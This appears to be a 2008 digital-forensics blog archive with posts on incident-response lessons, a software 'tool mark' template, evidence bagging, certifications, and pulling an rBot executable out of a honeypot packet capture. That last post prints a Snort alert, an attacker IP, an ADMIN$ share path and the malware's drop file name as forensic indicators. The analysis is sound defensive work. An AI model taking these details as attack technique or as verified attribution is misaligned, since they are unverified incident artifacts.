3) Never just pronounce the victim dead. Granted there are some situations where presumptions can be made pretty easily -but generally, paramedics don't do that, it's not their job. Their job is to save lives. The coroner or medical examiner pronounces. Incident Responders should not just pull the plug.
4) Even with years of experience, training can be forgotten in the heat of the moment. Living a life of 'trials by fire' can lead to overconfident and sloppy behavior that can result in poor performance when it matters most. Regardless of how busy you or your team are, make time to step back and review and refine procedures and policies.
5) Beware the fog of war. After long hours or during a particularly hectic scene the fog of war can be thick and hazardous. Situational awareness must be maintained.
6) Incidents occur because of multiple layers of failure. When incidents occur it's easy to point the finger at the lowest person on the totem pole, but rarely is the fault solely theirs.
7) It takes a catastrophe for change to occur. Sometimes it's not such a bad thing when executives get slapped in the face. Unfortunately this is what it takes to wake them up.
This case is a tragedy to be sure but there is always a lesson to be learned.
Friday, January 11, 2008
application ballistics
Following on the tail of a few of my previous posts I wanted again to illustrate the reason for and benefits of having a tool mark library.
Take this photo in to consideration:
You can see clearly the shape of the object I took this blurry picture of. However, it's not necessarily recognizable unless you have experience with this type of object.
Given the picture you can make an assumption as to what the object is and what its purpose may be. You may even be able to provide a better description and explanation if you've dealt with it previously. You can then make an educated guess as to what it is. Can you identify anything other than a generic class that this object fits in to? If you had to conduct a comparison to this object in future cases, would this photo be of assistance? Probably not.
Let's clear it up a bit shall we?
Now we have some clarity. It's clearly a bullet of some type. Note the deformities, the rifling impressions, the slightly blunted tip, the other markings that coat the bullet. Note the shape of the bullet, the retention of its original shape, the lands and grooves, the twist, and even the corrosion. From looking at these class and individual characteristics we can ascertain a number of things. Imagine if we had the cartridge casing, a macroscope, or even the original weapon. We could determine a whole lot more if we had something to compare against, and our rate of accuracy and precision would increase dramatically.
This bullet followed a path during it's lifecycle - from original machining to being sold, to being loaded in to the stripper clip, in to the breech, down the barrel of a russian sks at a high rate of rotation downrange about 30 yards and through a few 2x4's to finally rest in the dirt behind them. It then made its way in to my backpack where it stayed for about 6 months.
Applications whether used for good or evil purposes follow a similar lifecycle. They are authored, purchased or downloaded, installed, used, then possibly they are uninstalled. If it's malware it follows a slightly different path but you get the idea. An application will have class and individual characteristics each of which will be caused by a number of factors and affect a system based on a number of factors as well.
*note to self*
The more I consider this the less I think it should focus on malware and focus more on applications in use. I think there would be a greater benefit if the focus was less on a specific type of software. Certainly malware has a place in the library however it shouldn't be that limited.
*EDIT* Anyone want to guess the bullet type?
Take this photo in to consideration:
You can see clearly the shape of the object I took this blurry picture of. However, it's not necessarily recognizable unless you have experience with this type of object.
Given the picture you can make an assumption as to what the object is and what its purpose may be. You may even be able to provide a better description and explanation if you've dealt with it previously. You can then make an educated guess as to what it is. Can you identify anything other than a generic class that this object fits in to? If you had to conduct a comparison to this object in future cases, would this photo be of assistance? Probably not.
Let's clear it up a bit shall we?
Now we have some clarity. It's clearly a bullet of some type. Note the deformities, the rifling impressions, the slightly blunted tip, the other markings that coat the bullet. Note the shape of the bullet, the retention of its original shape, the lands and grooves, the twist, and even the corrosion. From looking at these class and individual characteristics we can ascertain a number of things. Imagine if we had the cartridge casing, a macroscope, or even the original weapon. We could determine a whole lot more if we had something to compare against, and our rate of accuracy and precision would increase dramatically.
This bullet followed a path during it's lifecycle - from original machining to being sold, to being loaded in to the stripper clip, in to the breech, down the barrel of a russian sks at a high rate of rotation downrange about 30 yards and through a few 2x4's to finally rest in the dirt behind them. It then made its way in to my backpack where it stayed for about 6 months.
Applications whether used for good or evil purposes follow a similar lifecycle. They are authored, purchased or downloaded, installed, used, then possibly they are uninstalled. If it's malware it follows a slightly different path but you get the idea. An application will have class and individual characteristics each of which will be caused by a number of factors and affect a system based on a number of factors as well.
*note to self*
The more I consider this the less I think it should focus on malware and focus more on applications in use. I think there would be a greater benefit if the focus was less on a specific type of software. Certainly malware has a place in the library however it shouldn't be that limited.
*EDIT* Anyone want to guess the bullet type?
Saturday, January 5, 2008
A tool mark library - first cut
In giving this a little bit of thought, I am taking a first cut at what a tool mark library might look like. Not perfect by any means but it's a start perhaps.
Tool marks
Software name:
software version:
Author:
Downloaded from:
Intended use or purpose if stated by author:
Runs on operating system:
privileges required:
MD5/SHA1:
Characteristics:
Registry: Additions, modifications, removals, persistence
File System (files & folders): Additions, modifications, removals, accessed, persistence
Network connections: Additions, modifications, deleted
Services: Created, Deleted, Modified, persistence
Processes: Created, Killed
Users/Groups & Passwords: Created, Deleted, Modified
Logs: Entries created, deleted, modified
Other:
User configurable options and resulting behaviors
hash of each file created
binary packed/unpacked
PE header information of main executables
Restore point created
Thoughts?
Tool marks
Software name:
software version:
Author:
Downloaded from:
Intended use or purpose if stated by author:
Runs on operating system:
privileges required:
MD5/SHA1:
Characteristics:
Registry: Additions, modifications, removals, persistence
File System (files & folders): Additions, modifications, removals, accessed, persistence
Network connections: Additions, modifications, deleted
Services: Created, Deleted, Modified, persistence
Processes: Created, Killed
Users/Groups & Passwords: Created, Deleted, Modified
Logs: Entries created, deleted, modified
Other:
User configurable options and resulting behaviors
hash of each file created
binary packed/unpacked
PE header information of main executables
Restore point created
Thoughts?
Friday, January 4, 2008
The bag and tag
It's been a while since I put of some pictures (you know I like 'em). So I decided to put together the bag 'n' tag sequence I use.
Here you see from left to right the suspect or evidence drive, the drive protector case, the evidence bag and the anti-static bag.
Here's the drive closeup. Note the damage to the drive..hmm looks like someone hit it with something..perhaps a flathead screwdriver? Toolmarks anyone?
The next step is to label the drive so it's easily identified while it's out of the evidence containers. I use Quill page markers. Red is for originals, Blue for Copies.
Next I place the drive in the hard plastic shell and then slip it in to the Anti-static bag. A word about the clamshell..it's from seagate. You can buy your own from various companies or buy a lot of seagate drives like I do.
Finally the evidence container is placed in to the evidence bag after it's been labeled. *THE INFORMATION IS FAKE, AND THE TIME IS WRONG* This is on purpose since I'll be using these photos in February for a class. I detach the receipt and staple it in to the case notebook. The victim(or client as it were) gets a paper copy of with a list of all seized items and relevant information.
The evidence bag is then sealed.
To anyone that bothers to read this blog...what are you using?
Equipment was purchased from:
Armor Forensics
Uline
Staples
Seagate
EDIT 1/4/2008: oops forgot to pull the home dept reference..
Here you see from left to right the suspect or evidence drive, the drive protector case, the evidence bag and the anti-static bag.
Here's the drive closeup. Note the damage to the drive..hmm looks like someone hit it with something..perhaps a flathead screwdriver? Toolmarks anyone?
The next step is to label the drive so it's easily identified while it's out of the evidence containers. I use Quill page markers. Red is for originals, Blue for Copies.
Next I place the drive in the hard plastic shell and then slip it in to the Anti-static bag. A word about the clamshell..it's from seagate. You can buy your own from various companies or buy a lot of seagate drives like I do.
Finally the evidence container is placed in to the evidence bag after it's been labeled. *THE INFORMATION IS FAKE, AND THE TIME IS WRONG* This is on purpose since I'll be using these photos in February for a class. I detach the receipt and staple it in to the case notebook. The victim(or client as it were) gets a paper copy of with a list of all seized items and relevant information.
The evidence bag is then sealed.
To anyone that bothers to read this blog...what are you using?
Equipment was purchased from:
Armor Forensics
Uline
Staples
Seagate
EDIT 1/4/2008: oops forgot to pull the home dept reference..
Updating my certification(s)
I'm starting off this year looking at some certifications and at least one recertification.
My CCE expired in December - affording me the opportunity to apply to recertify. I've done so and I'm waiting for my application to be processed so I can proceed. Generally speaking I don't think certifications are more than a proficiency exam. However I like the CCE as a certification. I didn't attend the training for the CCE so I can't speak as to how good it is, but the certification process was interesting the first time around. Three practical examinations and a multiple choice test is pretty rigorous as far as certifications go. There was nothing else like it at the time.
I submitted my application to recertify and paid the $75 fee associated. I'm now waiting for my recert material to arrive so I can process it and submit it for review. What I've enjoyed the most is the CCE list. There's a great group of people on that list including Mark Mckinnon from CFED and a bunch of people in the field.
I'm considering the CSFA but I've not heard anything good or bad about it. Have you? Please share.
Forensics vendors (guidance and accessdata) have released training "passports". Basically you pay them $4000-$5000 and you can go to the all you can train buffet (go to as many trainings for the year as you can). This sounds pretty nice to me considering each individual training is about $2500. What trainings are you attending this year?
My CCE expired in December - affording me the opportunity to apply to recertify. I've done so and I'm waiting for my application to be processed so I can proceed. Generally speaking I don't think certifications are more than a proficiency exam. However I like the CCE as a certification. I didn't attend the training for the CCE so I can't speak as to how good it is, but the certification process was interesting the first time around. Three practical examinations and a multiple choice test is pretty rigorous as far as certifications go. There was nothing else like it at the time.
I submitted my application to recertify and paid the $75 fee associated. I'm now waiting for my recert material to arrive so I can process it and submit it for review. What I've enjoyed the most is the CCE list. There's a great group of people on that list including Mark Mckinnon from CFED and a bunch of people in the field.
I'm considering the CSFA but I've not heard anything good or bad about it. Have you? Please share.
Forensics vendors (guidance and accessdata) have released training "passports". Basically you pay them $4000-$5000 and you can go to the all you can train buffet (go to as many trainings for the year as you can). This sounds pretty nice to me considering each individual training is about $2500. What trainings are you attending this year?
Wednesday, January 2, 2008
yanking exe's from pcaps
Sometimes it seems that some pretty interesting tools just don't get the press they should.
Recently as in New Years Eve - I picked up a new binary in my honeynet. It came across as a themida packed binary that wouldn't run under vmware. After noticing the following snort alert:
[**] [1:2000419:7] BLEEDING-EDGE PE EXE or DLL Windows file download [**]
[Classification: Misc activity] [Priority: 3]
12/31-15:58:26.967376 70.22.81.49:2509 -> 10.23.62.175:445
TCP TTL:112 TOS:0x0 ID:60052 IpLen:20 DgmLen:1460 DF
***A**** Seq: 0xEF909157 Ack: 0x3FE9D46F Win: 0x41C5 TcpLen: 20
and not a whole lot else I decided to suspend the honeypot, copy the files over to my compromises directory, and hash them. I then took a good look at the network capture I picked up.
At this point since I could see who the attacker was I just plugged in the IP to a tcpflow command:
hogfly@oink:~/flows$ tcpflow -r 20071231.pcap host 70.22.81.49
tcpflow[20963]: truncated dump file; tried to read 1514 captured bytes, only got 392
hogfly@oink:~/flows$ ls
070.022.081.049.02368-10.23.062.175.00445
070.022.081.049.02509-10.23.062.175.00445
10.23.062.175.00445-070.022.081.049.02368
10.23.062.175.00445-070.022.081.049.02509
20071231.pcap
So in this case, which file should I care about? Well I know the file was transferred from the attacker to the victim, so I don't care about anything involving my honeypot as the source for this exercise. That leaves me with two possible files of interest:
070.022.081.049.02368-10.23.062.175.00445
070.022.081.049.02509-10.23.062.175.00445
Grand. Now..based on the snort alert I can narrow it down to just one flow of interest.
Taking a quick look to verify that the signature didn't just pick up 'MZ' in the content of the flow I find some interesting information rather quickly simply using trusty old strings and a hex editor (yes I have a full pcap and can just do some work with wireshark but it's always good to use alternatives).
hogfly@oink:~/flows$ strings -eb 070.022.081.049.02509-10.23.062.175.00445
XPOCUSTOMAdministratorEXPOCUSTOM
\\10.23.62.175\ADMIN$
\system32\smlogsvcc.exe
Hmmm...interesting. Looks like EXPOCUSTOM could be the netbios name of the attacking computer, and the user was Administrator. Could the binary transferred have been placed as \system32\smlogsvcc.exe ? Odds are yes.
strings -a gives us some other interesting output:
C:\Dokumente und Einstellungen\haase\Desktop\new server\running\rBot___Win32_Debug\rBot.pdb
Looks like someone with a name containing hasse had compiled a new version of rbot? It's certainly possible.
At this point I think it might be safe to say there's a strong possibility of having a good binary.
So how does one actually pull a binary from a stream like this?
I used pehunter from the honeytrap project at mwcollect.org. I didn't bother with the pehunter snort plugin for this exercise, I simply went after the pehuntd binary.
pehuntd is a standalone daemon and client application. The daemon listens on a local socket and the client simply throws data at the daemon.
after unpacking it I followed the instructions and compiled the binary as follows:
pehuntd: gcc -o pehuntd pehuntd.c pehuntd.h md5.c md5.h -Wall -Werror
pehuntc: gcc -o pehuntc pehuntc.c -Wall -Werror
Running the daemon is simple...
hogfly@oink:~/pehuntd-0.1$ pehuntd v0.1 (C) Tillmann Werner. Awaiting connections...
hogfly@oink:~/pehuntd-0.1$ ./pehuntc ../flows/070.022.081.049.02509-10.23.062.175.00445
Stream received, scanning 451657 bytes.
hogfly@oink:~/pehuntd-0.1$ PE file extracted: 449024 bytes dumped to /tmp/8740055003268cebd4e6c7310f07f761.
Cool, so now I have a binary that was extracted and it's in my /tmp directory. Oh..the file name is the md5sum of the binary.
Recently as in New Years Eve - I picked up a new binary in my honeynet. It came across as a themida packed binary that wouldn't run under vmware. After noticing the following snort alert:
[**] [1:2000419:7] BLEEDING-EDGE PE EXE or DLL Windows file download [**]
[Classification: Misc activity] [Priority: 3]
12/31-15:58:26.967376 70.22.81.49:2509 -> 10.23.62.175:445
TCP TTL:112 TOS:0x0 ID:60052 IpLen:20 DgmLen:1460 DF
***A**** Seq: 0xEF909157 Ack: 0x3FE9D46F Win: 0x41C5 TcpLen: 20
and not a whole lot else I decided to suspend the honeypot, copy the files over to my compromises directory, and hash them. I then took a good look at the network capture I picked up.
At this point since I could see who the attacker was I just plugged in the IP to a tcpflow command:
hogfly@oink:~/flows$ tcpflow -r 20071231.pcap host 70.22.81.49
tcpflow[20963]: truncated dump file; tried to read 1514 captured bytes, only got 392
hogfly@oink:~/flows$ ls
070.022.081.049.02368-10.23.062.175.00445
070.022.081.049.02509-10.23.062.175.00445
10.23.062.175.00445-070.022.081.049.02368
10.23.062.175.00445-070.022.081.049.02509
20071231.pcap
So in this case, which file should I care about? Well I know the file was transferred from the attacker to the victim, so I don't care about anything involving my honeypot as the source for this exercise. That leaves me with two possible files of interest:
070.022.081.049.02368-10.23.062.175.00445
070.022.081.049.02509-10.23.062.175.00445
Grand. Now..based on the snort alert I can narrow it down to just one flow of interest.
Taking a quick look to verify that the signature didn't just pick up 'MZ' in the content of the flow I find some interesting information rather quickly simply using trusty old strings and a hex editor (yes I have a full pcap and can just do some work with wireshark but it's always good to use alternatives).
hogfly@oink:~/flows$ strings -eb 070.022.081.049.02509-10.23.062.175.00445
XPOCUSTOMAdministratorEXPOCUSTOM
\\10.23.62.175\ADMIN$
\system32\smlogsvcc.exe
Hmmm...interesting. Looks like EXPOCUSTOM could be the netbios name of the attacking computer, and the user was Administrator. Could the binary transferred have been placed as \system32\smlogsvcc.exe ? Odds are yes.
strings -a gives us some other interesting output:
C:\Dokumente und Einstellungen\haase\Desktop\new server\running\rBot___Win32_Debug\rBot.pdb
Looks like someone with a name containing hasse had compiled a new version of rbot? It's certainly possible.
At this point I think it might be safe to say there's a strong possibility of having a good binary.
So how does one actually pull a binary from a stream like this?
I used pehunter from the honeytrap project at mwcollect.org. I didn't bother with the pehunter snort plugin for this exercise, I simply went after the pehuntd binary.
pehuntd is a standalone daemon and client application. The daemon listens on a local socket and the client simply throws data at the daemon.
after unpacking it I followed the instructions and compiled the binary as follows:
pehuntd: gcc -o pehuntd pehuntd.c pehuntd.h md5.c md5.h -Wall -Werror
pehuntc: gcc -o pehuntc pehuntc.c -Wall -Werror
Running the daemon is simple...
hogfly@oink:~/pehuntd-0.1$ pehuntd v0.1 (C) Tillmann Werner. Awaiting connections...
hogfly@oink:~/pehuntd-0.1$ ./pehuntc ../flows/070.022.081.049.02509-10.23.062.175.00445
Stream received, scanning 451657 bytes.
hogfly@oink:~/pehuntd-0.1$ PE file extracted: 449024 bytes dumped to /tmp/8740055003268cebd4e6c7310f07f761.
Cool, so now I have a binary that was extracted and it's in my /tmp directory. Oh..the file name is the md5sum of the binary.
A new show
While submitting a new binary today on offensivecomputing I came across a post for a new show entitled "Tiger Team". The original post is here. The show is pretty interesting, it reminds me a lot of "It takes a thief". Interestingly enough it looks like there would be quite a bit of forensic evidence as a result of the pen testing even though in the first episode they stole the DVR. Anyways, this is just a plug of what looks like an interesting new show to watch.
Happy new year.
Happy new year.
Subscribe to:
Posts (Atom)
